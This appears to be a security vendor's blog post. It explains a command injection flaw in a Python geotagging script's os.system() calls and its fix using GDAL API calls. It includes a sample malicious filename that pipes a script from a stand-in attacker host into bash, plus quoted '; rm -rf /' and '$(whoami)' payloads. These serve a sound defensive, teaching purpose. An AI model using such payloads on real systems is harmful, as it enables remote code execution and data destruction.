Back to Blog
critical SEVERITY8 min read

How command injection happens in Python os.system() and how to fix it

A critical command injection vulnerability was discovered in `src/O4_Geotag.py` where file paths and coordinate values were concatenated directly into `os.system()` calls invoking `gdal_translate` and `gdalwarp`. Because `os.system()` passes its argument through a shell interpreter, any shell metacharacters in the file path variable `f` — sourced from file enumeration or user-supplied input — could be exploited to execute arbitrary commands. The fix replaces both shell invocations with direct ca

O
By Orbis AppSec
Published June 25, 2026Reviewed June 25, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in Python's `O4_Geotag.py`, where unsanitized file path variables (`f`, `target`, `link`) were concatenated into `os.system()` calls. Because `os.system()` invokes a shell, metacharacters in those paths could execute arbitrary OS commands. The fix replaces `os.system("gdal_translate ...")` and `os.system("gdalwarp ...")` with direct GDAL Python API calls (`gdal.Translate()` and `gdal.Warp()`), removing the shell from the execution path entirely.

Vulnerability at a Glance

cweCWE-78
fixReplaced `os.system("gdal_translate ...")` and `os.system("gdalwarp ...")` with `gdal.Translate()` and `gdal.Warp()` Python API calls
riskArbitrary command execution on the host system with the privileges of the running process
languagePython
root causeUnsanitized file path variable `f` concatenated into `os.system()` shell commands
vulnerabilityOS Command Injection via os.system()

How Command Injection Happens in Python os.system() and How to Fix It

The Vulnerability at a Glance

Field Detail
Vulnerability OS Command Injection
CWE CWE-78
Language Python
Risk Arbitrary command execution on the host
Root Cause Unsanitized f variable concatenated into os.system()
Fix Replaced shell calls with gdal.Translate() / gdal.Warp() API

Introduction

The src/O4_Geotag.py file is responsible for geotagging tile images — converting JPEG tiles into georeferenced GeoTIFF files using coordinate transformations. It's a quiet, utility-style module. But buried inside its tile-processing logic, at line 26, was a critical command injection vulnerability that could hand an attacker full shell access to the host machine.

The culprit? Two consecutive os.system() calls that built shell commands by concatenating an unsanitized file path variable f directly into strings passed to gdal_translate and gdalwarp:

os.system("gdal_translate -of Gtiff -co COMPRESS=JPEG -a_ullr "
          + str(xmin) + " " + str(ymax) + " " + str(xmax) + " "
          + str(ymin) + " -a_srs epsg:3857 " + f + " "
          + f.replace(".jpg","_tmp.tif"))

os.system("gdalwarp -of Gtiff -co COMPRESS=JPEG -s_srs epsg:3857 "
          + "-t_srs epsg:4326 -ts 4096 4096 -rb "
          + f.replace(".jpg","_tmp.tif") + " " + f.replace(".jpg",".tif"))

This is a textbook example of CWE-78, and it's more dangerous than it might initially appear.


The Vulnerability Explained

Why os.system() Is Dangerous Here

os.system() in Python doesn't just run a program — it hands the entire string to the system's shell (/bin/sh on Unix, cmd.exe on Windows). That shell interprets the string, which means it also interprets shell metacharacters like:

  • ; — command separator
  • && — AND chaining
  • | — pipe to another command
  • ` — command substitution
  • $() — command substitution
  • > / >> — output redirection

The variable f in this code represents a file path — it comes from file enumeration or user-supplied configuration input. If an attacker can influence the value of f, they can inject arbitrary shell commands.

The Vulnerable Code (Before Fix)

# Line 26-27 in src/O4_Geotag.py — VULNERABLE
os.system("gdal_translate -of Gtiff -co COMPRESS=JPEG -a_ullr "
          +str(xmin)+" "+str(ymax)+" "+str(xmax)+" "+str(ymin)
          +" -a_srs epsg:3857 "+f+" "+f.replace(".jpg","_tmp.tif"))

os.system("gdalwarp -of Gtiff -co COMPRESS=JPEG -s_srs epsg:3857 "
          +"-t_srs epsg:4326 -ts 4096 4096 -rb "
          +f.replace(".jpg","_tmp.tif")+" "+f.replace(".jpg",".tif"))

A Concrete Attack Scenario

Imagine f is populated from a file listing or a GUI input field. An attacker — or a malicious filename on disk — supplies:

tile_image.jpg; curl http://attacker.com/shell.sh | bash

The resulting os.system() call becomes:

gdal_translate -of Gtiff ... tile_image.jpg; curl http://attacker.com/shell.sh | bash tile_image_tmp.tif

The shell executes gdal_translate as intended, then executes the injected curl | bash command with the same privileges as the Python process. On a server or workstation running this geotag pipeline, that's a full remote code execution primitive.

Even coordinate values like xmin, xmax, ymin, ymax — while numeric in normal operation — could be manipulated if they flow from untrusted configuration, compounding the attack surface.

Real-World Impact

For an application processing geospatial imagery — potentially running as part of an automated pipeline or exposed to user-uploaded content — this vulnerability could lead to:

  • Arbitrary command execution on the processing server
  • Data exfiltration of imagery, credentials, or configuration files
  • Persistence via cron jobs or SSH key injection
  • Lateral movement within the network from the compromised host

The Fix

What Changed

The fix replaces both os.system() shell invocations with direct calls to the GDAL Python API. This eliminates the shell from the execution path entirely — no shell means no shell injection.

Before vs. After

Before (vulnerable):

import os

os.system("gdal_translate -of Gtiff -co COMPRESS=JPEG -a_ullr "
          +str(xmin)+" "+str(ymax)+" "+str(xmax)+" "+str(ymin)
          +" -a_srs epsg:3857 "+f+" "+f.replace(".jpg","_tmp.tif"))

os.system("gdalwarp -of Gtiff -co COMPRESS=JPEG -s_srs epsg:3857 "
          +"-t_srs epsg:4326 -ts 4096 4096 -rb "
          +f.replace(".jpg","_tmp.tif")+" "+f.replace(".jpg",".tif"))

After (fixed):

from osgeo import gdal

gdal.Translate(
    f.replace(".jpg", "_tmp.tif"),
    f,
    format="GTiff",
    creationOptions=["COMPRESS=JPEG"],
    outputBounds=[xmin, ymax, xmax, ymin],
    outputSRS="epsg:3857"
)

gdal.Warp(
    f.replace(".jpg", ".tif"),
    f.replace(".jpg", "_tmp.tif"),
    format="GTiff",
    creationOptions=["COMPRESS=JPEG"],
    srcSRS="epsg:3857",
    dstSRS="epsg:4326",
    width=4096,
    height=4096,
    resampleAlg=gdal.GRA_Bilinear
)

Why This Fix Works

The key insight is that gdal.Translate() and gdal.Warp() are Python function calls, not shell commands. When you pass f as an argument to gdal.Translate(), it is treated as a data value — a filename — not as a string to be interpreted by a shell. There is no shell involved, so there are no shell metacharacters to exploit.

Specifically:

  1. No shell spawned: gdal.Translate() calls the GDAL C library directly through Python bindings. The value of f is passed as a file path argument, never interpolated into a shell string.

  2. Parameters are typed: outputBounds, outputSRS, width, height are passed as typed Python arguments (list, string, int), not concatenated into a command string where they could be manipulated.

  3. Same functionality, zero shell surface: The fix preserves all the geotag behavior — JPEG compression, coordinate bounds, SRS transformations, output resolution — while removing the injection vector entirely.

  4. Bonus: better error handling: The GDAL Python API raises Python exceptions on failure, whereas os.system() only returns an exit code that is easy to ignore.


Prevention & Best Practices

1. Never Use os.system() with Variable Input

os.system() is essentially eval() for shell commands. Treat it with the same suspicion. If you find yourself building a shell command string with + concatenation or f-strings, stop and look for a library API.

2. Prefer Library APIs Over Shell Commands

Most command-line tools have Python bindings:

Shell Command Python API
gdal_translate gdal.Translate()
gdalwarp gdal.Warp()
ffmpeg ffmpeg-python library
convert (ImageMagick) Pillow / wand
git GitPython

3. If You Must Use subprocess, Use Argument Lists

When no library API exists, use subprocess.run() with a list of arguments, never shell=True:

# UNSAFE — still vulnerable to injection
import subprocess
subprocess.run("gdal_translate ... " + f, shell=True)

# SAFE — f is treated as data, not shell syntax
import subprocess
subprocess.run([
    "gdal_translate",
    "-of", "GTiff",
    "-co", "COMPRESS=JPEG",
    "-a_ullr", str(xmin), str(ymax), str(xmax), str(ymin),
    "-a_srs", "epsg:3857",
    f,
    f.replace(".jpg", "_tmp.tif")
])

4. Run Static Analysis

Tools that detect this pattern automatically:

  • Bandit (B605, B607): Flags os.system() and subprocess with shell=True
  • Semgrep: Rule python.lang.security.audit.subprocess-shell-true.subprocess-shell-true
  • CodeQL: py/command-line-injection query
  • OrbisAI: Detected this exact vulnerability automatically (see below)

5. Apply Principle of Least Privilege

Even with the fix, ensure the process running this geotag pipeline has only the filesystem permissions it needs. Defense in depth means a compromised process should have limited blast radius.

Security Standards

  • OWASP: Command Injection
  • CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Key Takeaways

  • os.system() with concatenated file paths is always dangerous — in O4_Geotag.py, the variable f from file enumeration was the injection point for both gdal_translate and gdalwarp calls.
  • The GDAL Python API (osgeo.gdal) is a direct, safe replacementgdal.Translate() and gdal.Warp() accept the same parameters as their CLI counterparts without invoking a shell.
  • Coordinate values (xmin, xmax, ymin, ymax) were also part of the shell string — even seemingly numeric values can become injection vectors if their origin is untrusted.
  • Switching from shell commands to library APIs improves both security and error handling — the GDAL API raises Python exceptions rather than silently returning a non-zero exit code.
  • Geospatial processing pipelines are high-value targets — they often run with elevated filesystem access and process files from diverse, potentially untrusted sources.

How Orbis AppSec Detected This

  • Source: The variable f, representing a file path sourced from file enumeration or user-supplied GUI/configuration input in src/O4_Geotag.py
  • Sink: os.system("gdal_translate ... " + f + ...) and os.system("gdalwarp ... " + f.replace(...)) at line 26–27 of src/O4_Geotag.py
  • Missing control: No sanitization, escaping, or allowlist validation was applied to f before it was interpolated into the shell command string
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Replaced both os.system() shell invocations with direct gdal.Translate() and gdal.Warp() Python API calls, eliminating the shell interpreter from the execution path entirely

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The vulnerability in O4_Geotag.py is a reminder that command injection doesn't require a web form or an HTTP endpoint — it can live quietly in a geospatial processing utility, waiting for a maliciously named file or a tampered configuration value. The pattern of building shell command strings through string concatenation is one of the most persistent anti-patterns in Python codebases, largely because os.system() feels convenient and familiar.

The fix here is clean and instructive: the GDAL Python bindings (osgeo.gdal) provide a first-class API that accepts the same parameters as the CLI tools, with no shell involved. Whenever you find yourself reaching for os.system() or subprocess.run(..., shell=True) with variable data, ask first: does this tool have a Python API? In the case of GDAL, the answer is yes — and using it makes the code both safer and more maintainable.


References

Frequently Asked Questions

What is command injection?

Command injection (CWE-78) occurs when user-controlled input is passed to a shell interpreter without sanitization, allowing attackers to append or inject additional OS commands.

How do you prevent command injection in Python?

Avoid `os.system()` and `shell=True` in `subprocess`. Use library APIs directly (e.g., `gdal.Translate()`), or pass arguments as a list to `subprocess.run()` without shell interpretation.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command.

Is input validation enough to prevent command injection?

Input validation helps but is insufficient alone. The safest approach is to eliminate the shell entirely by using native library APIs or passing argument lists to subprocess without `shell=True`.

Can static analysis detect command injection?

Yes. Tools like Semgrep, Bandit, and CodeQL can trace tainted data from input sources to dangerous sinks like `os.system()` and flag these patterns automatically.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #32

Related Articles

critical

How command injection happens in Python subprocess and how to fix it

A critical command injection vulnerability was discovered in `script/llm_semantic_analyzer.py` at line 394, where user-controlled input (API keys and model parameters) was interpolated directly into shell commands passed to `subprocess.run` with `shell=True`. An attacker who could control these parameters could inject shell metacharacters like `; rm -rf /` or `$(whoami)` to execute arbitrary commands. The fix sanitizes all user input before it reaches shell execution.

critical

How command injection happens in Python subprocess and how to fix it

A command injection vulnerability in `skills/skill-comply/scripts/runner.py` allowed attackers who could influence skill definition files to execute arbitrary binaries on the host system via `subprocess.run()`. The fix introduces an explicit allowlist of permitted executables (`ALLOWED_SETUP_EXECUTABLES`) that gates every command before it reaches the subprocess call at line 110. This closes a significant attack surface in the skill-comply pipeline without breaking legitimate setup workflows.

critical

How command injection happens in Python subprocess and how to fix it

A critical command injection vulnerability was discovered in a CGI script that processed HTTP requests using `subprocess.check_output()` with `shell=True`. Attackers could inject arbitrary shell commands through URL parameters using metacharacters like semicolons, pipes, or backticks. The fix converts the command from a string to a list and sets `shell=False`, preventing shell interpretation of user input.

critical

How command injection happens in Java Runtime.exec() and how to fix it

A critical OS command injection vulnerability (CWE-78) was discovered in `page-object/sample-application/src/main/java/com/iluwatar/pageobject/App.java` at line 81, where a single-string invocation of `Runtime.getRuntime().exec()` passed a concatenated command directly to the Windows shell, allowing an attacker who controls the `applicationFile` value to chain arbitrary OS commands. The fix replaces this dangerous pattern with a properly constructed `ProcessBuilder` that uses absolute executable

critical

How command injection happens in Lua OpenWrt RPC handlers and how to fix it

A critical command injection vulnerability in the `luci.natflow` RPC handler allowed authenticated attackers to pass arbitrary shell metacharacters through the `kick_user`, `block_user`, and `allow_user` functions, which forwarded the unsanitized input directly to `sys.call()` as root. The fix adds a strict IPv4 regex validation pattern before any shell command is constructed, ensuring only legitimate IP addresses can reach the dangerous sink. This kind of targeted input allowlisting is the gold

critical

How GitHub token exposure happens in TypeScript CLI utilities and how to fix it

A critical credential exposure vulnerability was discovered in `cli/src/utils/github.ts`, where three GitHub API fetch calls were made without any safe token-loading mechanism, risking accidental hardcoding or token leakage in logs and CI/CD pipelines. The fix introduces a centralized `getAuthHeaders()` function that reads the token exclusively from the `GITHUB_TOKEN` environment variable and safely injects it into all outbound API requests. This ensures credentials never touch source code, buil